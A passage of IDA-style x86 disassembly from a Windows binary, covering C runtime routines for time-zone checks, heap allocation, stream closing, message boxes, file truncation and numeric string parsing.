loc_4253DA ; --------------------------------------------------------------------------- loc_42528E: ; CODE XREF: sub_42527A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43FA30 jnz short loc_4252AC cmp eax, dword_43FA40 jz loc_4253AE loc_4252AC: ; CODE XREF: sub_42527A+24j cmp dword_4DE260, edi jz loc_425384 movzx ecx, word_4DE30E push ecx cmp word_4DE300, di movzx ecx, word_4DE30C push ecx movzx ecx, word_4DE30A push ecx movzx ecx, word_4DE308 push ecx jnz short loc_4252FE movzx ecx, word_4DE304 push edi push ecx movzx ecx, word_4DE306 push ecx movzx ecx, word_4DE302 push ecx push eax push ebx jmp short loc_425312 ; --------------------------------------------------------------------------- loc_4252FE: ; CODE XREF: sub_42527A+65j movzx ecx, word_4DE306 push ecx push edi movzx ecx, word_4DE302 push edi push ecx push eax push edi loc_425312: ; CODE XREF: sub_42527A+82j push ebx call sub_425426 movzx eax, word_4DE2BA add esp, 2Ch cmp word_4DE2AC, di push eax movzx eax, word_4DE2B8 push eax movzx eax, word_4DE2B6 push eax movzx eax, word_4DE2B4 push eax jnz short loc_42536C movzx eax, word_4DE2B0 push edi push eax movzx eax, word_4DE2B2 push eax movzx eax, word_4DE2AE push eax push dword ptr [esi+14h] push ebx loc_425361: ; CODE XREF: sub_42527A+108j push edi call sub_425426 add esp, 2Ch jmp short loc_4253AE ; --------------------------------------------------------------------------- loc_42536C: ; CODE XREF: sub_42527A+C8j movzx eax, word_4DE2B2 push eax push edi movzx eax, word_4DE2AE push edi push eax push dword ptr [esi+14h] push edi jmp short loc_425361 ; --------------------------------------------------------------------------- loc_425384: ; CODE XREF: sub_42527A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_425426 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_425426 add esp, 58h loc_4253AE: ; CODE XREF: sub_42527A+2Cj ; sub_42527A+F0j mov edx, dword_43FA34 mov eax, dword_43FA44 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_4253DE cmp ecx, edx jl loc_425287 cmp ecx, eax jg loc_425287 cmp ecx, edx jle short loc_4253F2 cmp ecx, eax jge short loc_4253F2 loc_4253D8: ; CODE XREF: sub_42527A+166j ; sub_42527A+16Aj mov eax, ebx loc_4253DA: ; CODE XREF: sub_42527A+Fj ; sub_42527A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4253DE: ; CODE XREF: sub_42527A+144j cmp ecx, eax jl short loc_4253D8 cmp ecx, edx jg short loc_4253D8 cmp ecx, eax jle short loc_4253F2 cmp ecx, edx jl loc_425287 loc_4253F2: ; CODE XREF: sub_42527A+158j ; sub_42527A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_425419 xor ecx, ecx cmp eax, dword_43FA38 setnl cl loc_425415: ; CODE XREF: sub_42527A+1AAj mov eax, ecx jmp short loc_4253DA ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_42527A+18Ej xor ecx, ecx cmp eax, dword_43FA48 setl cl jmp short loc_425415 sub_42527A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425426 proc near ; CODE XREF: sub_42527A+99p ; sub_42527A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_4254C1 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_425451 shl esi, 2 mov eax, dword_43FA48[esi] jmp short loc_42545A ; --------------------------------------------------------------------------- loc_425451: ; CODE XREF: sub_425426+1Ej shl esi, 2 mov eax, dword_43FA7C[esi] loc_42545A: ; CODE XREF: sub_425426+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_425494 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_42549E ; --------------------------------------------------------------------------- loc_425494: ; CODE XREF: sub_425426+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_42549E: ; CODE XREF: sub_425426+6Cj cmp [ebp+arg_10], 5 jnz short loc_4254DC cmp [ebp+arg_8], 0 jnz short loc_4254B2 mov esi, dword_43FA4C[esi] jmp short loc_4254B8 ; --------------------------------------------------------------------------- loc_4254B2: ; CODE XREF: sub_425426+82j mov esi, dword_43FA80[esi] loc_4254B8: ; CODE XREF: sub_425426+8Aj cmp ecx, esi jle short loc_4254DC sub ecx, 7 jmp short loc_4254DC ; --------------------------------------------------------------------------- loc_4254C1: ; CODE XREF: sub_425426+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_4254D2 mov ecx, dword_43FA48[eax*4] jmp short loc_4254D9 ; --------------------------------------------------------------------------- loc_4254D2: ; CODE XREF: sub_425426+A1j mov ecx, dword_43FA7C[eax*4] loc_4254D9: ; CODE XREF: sub_425426+AAj add ecx, [ebp+arg_18] loc_4254DC: ; CODE XREF: sub_425426+7Cj ; sub_425426+94j ... cmp [ebp+arg_0], 1 jnz short loc_42550D mov eax, [ebp+arg_1C] mov dword_43FA34, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43FA30, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43FA38, eax jmp short loc_425562 ; --------------------------------------------------------------------------- loc_42550D: ; CODE XREF: sub_425426+BAj mov eax, [ebp+arg_1C] mov dword_43FA44, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43F9A0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43FA48, eax jns short loc_425545 add eax, 5265C00h dec ecx mov dword_43FA48, eax jmp short loc_425556 ; --------------------------------------------------------------------------- loc_425545: ; CODE XREF: sub_425426+110j mov edx, 5265C00h cmp eax, edx jl short loc_42555C sub eax, edx inc ecx mov dword_43FA48, eax loc_425556: ; CODE XREF: sub_425426+11Dj mov dword_43FA44, ecx loc_42555C: ; CODE XREF: sub_425426+126j mov dword_43FA40, ebx loc_425562: ; CODE XREF: sub_425426+E5j pop esi pop ebx pop ebp retn sub_425426 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425566 proc near ; CODE XREF: sub_422F2B+22p ; sub_422F2B+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_425587 test esi, esi jnz short loc_425581 push 1 pop esi loc_425581: ; CODE XREF: sub_425566+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_425587: ; CODE XREF: sub_425566+12j ; sub_425566+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_4255E6 mov eax, dword_4DF6C8 cmp eax, 3 jnz short loc_4255B2 mov eax, [ebp+arg_0] cmp eax, dword_4DF6C0 ja short loc_4255D1 push eax call sub_41E9CB mov edi, eax pop ecx test edi, edi jnz short loc_4255FC jmp short loc_4255D1 ; --------------------------------------------------------------------------- loc_4255B2: ; CODE XREF: sub_425566+30j cmp eax, 2 jnz short loc_4255D1 cmp esi, dword_43EFE4 ja short loc_4255D1 mov eax, esi shr eax, 4 push eax call sub_41F46E mov edi, eax pop ecx test edi, edi jnz short loc_425610 loc_4255D1: ; CODE XREF: sub_425566+3Bj ; sub_425566+4Aj ... push esi push 8 push dword_4DF6C4 call dword_428148 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_42560A loc_4255E6: ; CODE XREF: sub_425566+26j cmp dword_4DE0B4, 0 jz short loc_42560A push esi call sub_41FB12 test eax, eax pop ecx jz short loc_425613 jmp short loc_425587 ; --------------------------------------------------------------------------- loc_4255FC: ; CODE XREF: sub_425566+48j push [ebp+arg_0] loc_4255FF: ; CODE XREF: sub_425566+ABj push 0 push edi call sub_41BD60 add esp, 0Ch loc_42560A: ; CODE XREF: sub_425566+7Ej ; sub_425566+87j mov eax, edi loc_42560C: ; CODE XREF: sub_425566+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_425610: ; CODE XREF: sub_425566+69j push esi jmp short loc_4255FF ; --------------------------------------------------------------------------- loc_425613: ; CODE XREF: sub_425566+92j xor eax, eax jmp short loc_42560C sub_425566 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422FD0 loc_425617: ; CODE XREF: sub_422FD0+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DF480, esi jle short loc_42566A loc_425626: ; CODE XREF: sub_422FD0+2698j mov eax, dword_4DE464 mov eax, [eax+esi*4] test eax, eax jz short loc_425661 test byte ptr [eax+0Ch], 83h jz short loc_425645 push eax call sub_41B82B cmp eax, 0FFFFFFFFh pop ecx jz short loc_425645 inc edi loc_425645: ; CODE XREF: sub_422FD0+2666j ; sub_422FD0+2672j cmp esi, 14h jl short loc_425661 mov eax, dword_4DE464 push dword ptr [eax+esi*4] call sub_41B881 mov eax, dword_4DE464 pop ecx and dword ptr [eax+esi*4], 0 loc_425661: ; CODE XREF: sub_422FD0+2660j ; sub_422FD0+2678j inc esi cmp esi, dword_4DF480 jl short loc_425626 loc_42566A: ; CODE XREF: sub_422FD0+2654j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_422FD0 ; =============== S U B R O U T I N E ======================================= sub_42566F proc near ; CODE XREF: sub_423756+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_425680 add esp, 0Ch retn sub_42566F endp ; =============== S U B R O U T I N E ======================================= sub_425680 proc near ; CODE XREF: sub_42566F+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DF5A1[eax], cl jnz short loc_4256AD cmp [esp+arg_4], 0 jz short loc_4256A6 movzx eax, word_43EFF2[eax*2] and eax, [esp+arg_4] jmp short loc_4256A8 ; --------------------------------------------------------------------------- loc_4256A6: ; CODE XREF: sub_425680+16j xor eax, eax loc_4256A8: ; CODE XREF: sub_425680+24j test eax, eax jnz short loc_4256AD retn ; --------------------------------------------------------------------------- loc_4256AD: ; CODE XREF: sub_425680+Fj ; sub_425680+2Aj push 1 pop eax retn sub_425680 endp ; =============== S U B R O U T I N E ======================================= sub_4256B1 proc near ; CODE XREF: sub_423EAD+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DE31C, ebx push esi push edi jnz short loc_425700 push offset aUser32_dll ; "user32.dll" call dword_4280B8 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_425736 mov esi, dword_4280BC push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_4DE31C, eax jz short loc_425736 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DE320, eax call esi ; GetProcAddress mov dword_4DE324, eax loc_425700: ; CODE XREF: sub_4256B1+Bj mov eax, dword_4DE320 test eax, eax jz short loc_42571F call eax ; GetActiveWindow mov ebx, eax test ebx, ebx jz short loc_42571F mov eax, dword_4DE324 test eax, eax jz short loc_42571F push ebx call eax ; GetLastActivePopup mov ebx, eax loc_42571F: ; CODE XREF: sub_4256B1+56j ; sub_4256B1+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DE31C ; MessageBoxA loc_425732: ; CODE XREF: sub_4256B1+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_425736: ; CODE XREF: sub_4256B1+1Cj ; sub_4256B1+33j xor eax, eax jmp short loc_425732 sub_4256B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42573A proc near ; CODE XREF: sub_42425E+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C2F0 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DE460 jnb loc_42586F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DE360[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42586F push 1 push esi push ebx call sub_422FE4 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425879 push 2 push esi push ebx call sub_422FE4 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425879 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42581C push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BD60 push 8000h push ebx call sub_426374 add esp, 14h mov [ebp+arg_4], eax loc_4257D0: ; CODE XREF: sub_42573A+BDj mov eax, 1000h cmp edi, eax jge short loc_4257DB mov eax, edi loc_4257DB: ; CODE XREF: sub_42573A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_4231D6 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4257F9 sub edi, eax test edi, edi jle short loc_42580F jmp short loc_4257D0 ; --------------------------------------------------------------------------- loc_4257F9: ; CODE XREF: sub_42573A+B5j cmp dword_4DE030, 5 jnz short loc_42580C mov dword_4DE02C, 0Dh loc_42580C: ; CODE XREF: sub_42573A+C6j or esi, 0FFFFFFFFh loc_42580F: ; CODE XREF: sub_42573A+BBj push [ebp+arg_4] push ebx call sub_426374 pop ecx pop ecx jmp short loc_42585C ; --------------------------------------------------------------------------- loc_42581C: ; CODE XREF: sub_42573A+71j jge short loc_42585C push 0 push [ebp+arg_4] push ebx call sub_422FE4 push ebx call sub_424186 add esp, 10h push eax call dword_428010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42585C mov dword_4DE02C, 0Dh call dword_42808C ; RtlGetLastWin32Error mov dword_4DE030, eax loc_42585C: ; CODE XREF: sub_42573A+E0j ; sub_42573A:loc_42581Cj ... push 0 push [ebp+arg_0] push ebx call sub_422FE4 add esp, 0Ch mov eax, esi pop edi jmp short loc_42587C ; --------------------------------------------------------------------------- loc_42586F: ; CODE XREF: sub_42573A+1Aj ; sub_42573A+36j mov dword_4DE02C, 9 loc_425879: ; CODE XREF: sub_42573A+4Ej ; sub_42573A+63j or eax, 0FFFFFFFFh loc_42587C: ; CODE XREF: sub_42573A+133j pop esi pop ebx leave retn sub_42573A endp ; =============== S U B R O U T I N E ======================================= sub_425880 proc near ; CODE XREF: sub_4249FF+2Bp ; sub_4249FF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425896 cmp ecx, esi jnb short loc_425899 loc_425896: ; CODE XREF: sub_425880+10j push 1 pop eax loc_425899: ; CODE XREF: sub_425880+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425880 endp ; =============== S U B R O U T I N E ======================================= sub_4258A1 proc near ; CODE XREF: sub_42595A+40p ; sub_42595A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425880 add esp, 0Ch test eax, eax jz short loc_4258D3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425880 add esp, 0Ch test eax, eax jz short loc_4258D3 inc dword ptr [esi+8] loc_4258D3: ; CODE XREF: sub_4258A1+19j ; sub_4258A1+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425880 add esp, 0Ch test eax, eax jz short loc_4258EB inc dword ptr [esi+8] loc_4258EB: ; CODE XREF: sub_4258A1+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425880 add esp, 0Ch pop edi pop esi retn sub_4258A1 endp ; =============== S U B R O U T I N E ======================================= sub_4258FF proc near ; CODE XREF: sub_42595A+30p ; sub_42595A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4258FF endp ; =============== S U B R O U T I N E ======================================= sub_42592D proc near ; CODE XREF: sub_425EF2+1C8p ; sub_4263EA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_42592D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42595A proc near ; CODE XREF: sub_425A21+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_4259CE push edi mov [ebp+arg_8], eax loc_425981: ; CODE XREF: sub_42595A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4258FF push ebx call sub_4258FF lea eax, [ebp+var_10] push eax push ebx call sub_4258A1 push ebx call sub_4258FF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_4258A1 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425981 xor edx, edx pop edi loc_4259CE: ; CODE XREF: sub_42595A+21j ; sub_42595A+9Fj cmp [ebx+8], edx jnz short loc_4259FB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_4259CE ; --------------------------------------------------------------------------- loc_4259FB: ; CODE XREF: sub_42595A+77j mov esi, 8000h loc_425A00: ; CODE XREF: sub_42595A+B9j test [ebx+8], esi jnz short loc_425A15 push ebx call sub_4258FF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_425A00 ; --------------------------------------------------------------------------- loc_425A15: ; CODE XREF: sub_42595A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42595A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A21 proc near ; CODE XREF: sub_424D48+17p ; sub_424D75+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_425A5C: ; CODE XREF: sub_425A21+52j mov cl, [edi] cmp cl, 20h jz short loc_425A72 cmp cl, 9 jz short loc_425A72 cmp cl, 0Ah jz short loc_425A72 cmp cl, 0Dh jnz short loc_425A75 loc_425A72: ; CODE XREF: sub_425A21+40j ; sub_425A21+45j ... inc edi jmp short loc_425A5C ; --------------------------------------------------------------------------- loc_425A75: ; CODE XREF: sub_425A21+4Fj push 4 pop esi loc_425A78: ; CODE XREF: sub_425A21+AEj ; sub_425A21+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_425CFB ; default ; jumptable 00425A84 case 10 jmp off_425EC2[eax*4] ; switch jump loc_425A8B: ; DATA XREF: .packed:off_425EC2o cmp bl, 31h ; jumptable 00425A84 case 0 jl short loc_425A9C cmp bl, 39h jg short loc_425A9C loc_425A95: ; CODE XREF: sub_425A21+C4j ; sub_425A21+118j push 3 jmp loc_425CB9 ; --------------------------------------------------------------------------- loc_425A9C: ; CODE XREF: sub_425A21+6Dj ; sub_425A21+72j cmp bl, byte_43F1F8 jnz short loc_425AAB loc_425AA4: ; CODE XREF: sub_425A21+124j push 5 jmp loc_425CF1 ; --------------------------------------------------------------------------- loc_425AAB: ; CODE XREF: sub_425A21+81j movsx eax, bl sub eax, 2Bh jz short loc_425AD1 dec eax dec eax jz short loc_425AC5 sub eax, 3 jnz loc_425D94 jmp loc_425B54 ; --------------------------------------------------------------------------- loc_425AC5: ; CODE XREF: sub_425A21+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425A78 ; --------------------------------------------------------------------------- loc_425AD1: ; CODE XREF: sub_425A21+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425A78 ; --------------------------------------------------------------------------- loc_425ADA: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o cmp bl, 31h ; jumptable 00425A84 case 1 mov [ebp+var_10], edx jl short loc_425AE7 cmp bl, 39h jle short loc_425A95 loc_425AE7: ; CODE XREF: sub_425A21+BFj cmp bl, byte_43F1F8 jz loc_425BAF cmp bl, 2Bh jz short loc_425B29 cmp bl, 2Dh jz short loc_425B29 cmp bl, 30h jz short loc_425B54 loc_425B02: ; CODE XREF: sub_425A21+207j cmp bl, 43h jle loc_425D94 cmp bl, 45h jle short loc_425B22 cmp bl, 63h jle loc_425D94 cmp bl, 65h jg loc_425D94 loc_425B22: ; CODE XREF: sub_425A21+EDj push 6 jmp loc_425CF1 ; --------------------------------------------------------------------------- loc_425B29: ; CODE XREF: sub_425A21+D5j ; sub_425A21+DAj ... dec edi push 0Bh jmp loc_425CF1 ; --------------------------------------------------------------------------- loc_425B31: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o cmp bl, 31h ; jumptable 00425A84 case 2 jl short loc_425B3F cmp bl, 39h jle loc_425A95 loc_425B3F: ; CODE XREF: sub_425A21+113j cmp bl, byte_43F1F8 jz loc_425AA4 cmp bl, 30h jnz loc_425D09 loc_425B54: ; CODE XREF: sub_425A21+9Fj ; sub_425A21+DFj mov eax, edx jmp loc_425A78 ; --------------------------------------------------------------------------- loc_425B5B: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o mov [ebp+var_10], edx ; jumptable 00425A84 case 3 loc_425B5E: ; CODE XREF: sub_425A21+184j cmp dword_43F1F4, edx jle short loc_425B77 movzx eax, bl push esi push eax call sub_41FD15 pop ecx pop ecx push 1 pop edx jmp short loc_425B85 ; --------------------------------------------------------------------------- loc_425B77: ; CODE XREF: sub_425A21+143j mov ecx, off_43EFE8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425B85: ; CODE XREF: sub_425A21+154j test eax, eax jz short loc_425BA7 cmp [ebp+var_4], 19h jnb short loc_425B9F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425BA2 ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425A21+16Cj inc [ebp+var_8] loc_425BA2: ; CODE XREF: sub_425A21+17Cj mov bl, [edi] inc edi jmp short loc_425B5E ; --------------------------------------------------------------------------- loc_425BA7: ; CODE XREF: sub_425A21+166j cmp bl, byte_43F1F8 jnz short loc_425C16 loc_425BAF: ; CODE XREF: sub_425A21+CCj mov eax, esi jmp loc_425A78 ; --------------------------------------------------------------------------- loc_425BB6: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o cmp [ebp+var_4], 0 ; jumptable 00425A84 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_425BCF loc_425BC2: ; CODE XREF: sub_425A21+1ACj cmp bl, 30h jnz short loc_425BCF dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425BC2 ; --------------------------------------------------------------------------- loc_425BCF: ; CODE XREF: sub_425A21+19Fj ; sub_425A21+1A4j ... cmp dword_43F1F4, edx jle short loc_425BE8 movzx eax, bl push esi push eax call sub_41FD15 pop ecx pop ecx push 1 pop edx jmp short loc_425BF6 ; --------------------------------------------------------------------------- loc_425BE8: ; CODE XREF: sub_425A21+1B4j mov ecx, off_43EFE8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425BF6: ; CODE XREF: sub_425A21+1C5j test eax, eax jz short loc_425C16 cmp [ebp+var_4], 19h jnb short loc_425C11 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425C11: ; CODE XREF: sub_425A21+1DDj mov bl, [edi] inc edi jmp short loc_425BCF ; --------------------------------------------------------------------------- loc_425C16: ; CODE XREF: sub_425A21+18Cj ; sub_425A21+1D7j cmp bl, 2Bh jz loc_425B29 cmp bl, 2Dh jz loc_425B29 jmp loc_425B02 ; --------------------------------------------------------------------------- loc_425C2D: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o cmp dword_43F1F4, edx ; jumptable 00425A84 case 5 mov [ebp+var_24], edx jle short loc_425C49 movzx eax, bl push esi push eax call sub_41FD15 pop ecx pop ecx push 1 pop edx jmp short loc_425C57 ; --------------------------------------------------------------------------- loc_425C49: ; CODE XREF: sub_425A21+215j mov ecx, off_43EFE8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425C57: ; CODE XREF: sub_425A21+226j test eax, eax jz loc_425D09 mov eax, esi jmp short loc_425CBA ; --------------------------------------------------------------------------- loc_425C63: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o lea ecx, [edi-2] ; jumptable 00425A84 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425C73 cmp bl, 39h jle short loc_425CB7 loc_425C73: ; CODE XREF: sub_425A21+24Bj movsx eax, bl sub eax, 2Bh jz short loc_425CEF dec eax dec eax jz short loc_425CE3 sub eax, 3 jnz loc_425D97 loc_425C88: ; CODE XREF: sub_425A21+2A4j push 8 jmp short loc_425CF1 ; --------------------------------------------------------------------------- loc_425C8C: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o mov [ebp+var_20], edx ; jumptable 00425A84 case 8 loc_425C8F: ; CODE XREF: sub_425A21+276j cmp bl, 30h jnz short loc_425C99 mov bl, [edi] inc edi jmp short loc_425C8F ; --------------------------------------------------------------------------- loc_425C99: ; CODE XREF: sub_425A21+271j cmp bl, 31h jl loc_425D94 cmp bl, 39h jg loc_425D94 jmp short loc_425CB7 ; --------------------------------------------------------------------------- loc_425CAD: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o cmp bl, 31h ; jumptable 00425A84 case 7 jl short loc_425CC0 cmp bl, 39h jg short loc_425CC0 loc_425CB7: ; CODE XREF: sub_425A21+250j ; sub_425A21+28Aj push 9 loc_425CB9: ; CODE XREF: sub_425A21+76j pop eax loc_425CBA: ; CODE XREF: sub_425A21+240j dec edi jmp loc_425A78 ; --------------------------------------------------------------------------- loc_425CC0: ; CODE XREF: sub_425A21+28Fj ; sub_425A21+294j cmp bl, 30h jnz short loc_425D09 jmp short loc_425C88 ; --------------------------------------------------------------------------- loc_425CC7: ; CODE XREF: sub_425A21+63j ; DATA XREF: .packed:off_425EC2o cmp [ebp+arg_18], 0 ; jumptable 00425A84 case 11 jz short loc_425CF7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_425CEF dec eax dec eax jnz loc_425D97 loc_425CE3: ; CODE XREF: sub_425A21+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425A78 ; --------------------------------------------------------------------------- loc_425CEF: ; CODE 